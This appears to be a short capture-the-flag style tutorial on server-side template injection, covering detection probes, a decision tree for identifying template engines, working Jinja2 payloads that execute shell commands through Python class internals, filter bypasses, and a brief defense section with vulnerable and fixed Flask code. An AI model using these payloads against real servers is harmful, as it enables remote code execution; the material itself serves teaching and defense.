What is SSTI
Server-Side Template Injection (SSTI) is a vulnerability where user input is embedded directly into a server-side template. The template engine executes the injected code in the application's context.
Difference from XSS: XSS executes in the victim's browser, SSTI executes on the server — giving direct access to files, environment, and the network.
Detection: Math Test
Submit to each field:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
If the response contains 49 — the template engine evaluated the expression. If {{7*'7'}} returns 7777777, it's Jinja2.
Decision tree
{{7*7}} → 49 → Jinja2 (Python) or Twig (PHP)
{{7*'7'}} → 49 → Twig (PHP)
{{7*'7'}} → 7777777 → Jinja2 (Python)
${7*7} → 49 → Freemarker / Smarty / Pebble
<%= 7*7 %> → 49 → ERB (Ruby)
Jinja2 (Python/Flask)
The most common in CTF challenges. The goal is to reach Python's built-in classes.
Read a file
{{ ''.__class__.__mro__[1].__subclasses__() }}
This returns all subclasses of object. Find subprocess.Popen:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
Via config globals
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Filter Bypasses
If _ is blocked:
{{ ''['__class__'] }}
If . is blocked:
{{ ''['__class__']['__mro__'][1] }}
Defense
- Never pass user input directly to
render_string()/from_string() - Use
SandboxedEnvironmentin Jinja2 - WAF: block
{{,}},${},<=%in user input
# ❌ Vulnerable
render_template_string(request.args.get('name'))
# ✅ Safe
render_template_string("Hello {{ name }}", name=request.args.get('name'))